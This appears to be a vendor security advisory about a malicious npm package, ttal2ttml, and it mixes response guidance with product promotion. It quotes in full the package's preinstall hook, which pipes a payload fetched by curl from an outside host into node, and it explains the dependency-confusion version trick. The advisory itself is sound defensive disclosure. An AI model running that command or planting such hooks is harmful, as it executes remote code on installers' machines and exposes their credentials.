ttal2ttmlnpm
Malicious code in ttal2ttml (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a preinstall lifecycle script that runs node -e "try{require('child_process').execSync('curl -sf https://d1ugk469z93e.0ac.io/callback.js | node',{stdio:'ignore'})}catch(e){}". On every npm install, the package fetches an unpinned JavaScript payload from the anonymous subdomain d1ugk469z93e.0ac.io and pipes it into node, executing whatever bytes the host returns under the installer's user account. Errors are swallowed via try/catch and stdio:'ignore' to hide failures. The destination is not the publisher's domain and the package's nominal purpose (TTML conversion) requires no network access. The package is also published at an artificially elevated version (99.0.3) with an empty index.js that self-describes as a dependency-confusion research PoC — the canonical shape used to win resolution against a private internal package of the same name. Regardless of stated intent, the remote-exec payload runs on every installer.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ttal2ttml (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ttal2ttml across your stack and pipelines.
If you installed it — respond
Remove ttal2ttml from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If ttal2ttml was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ttal2ttml before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ttal2ttml-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.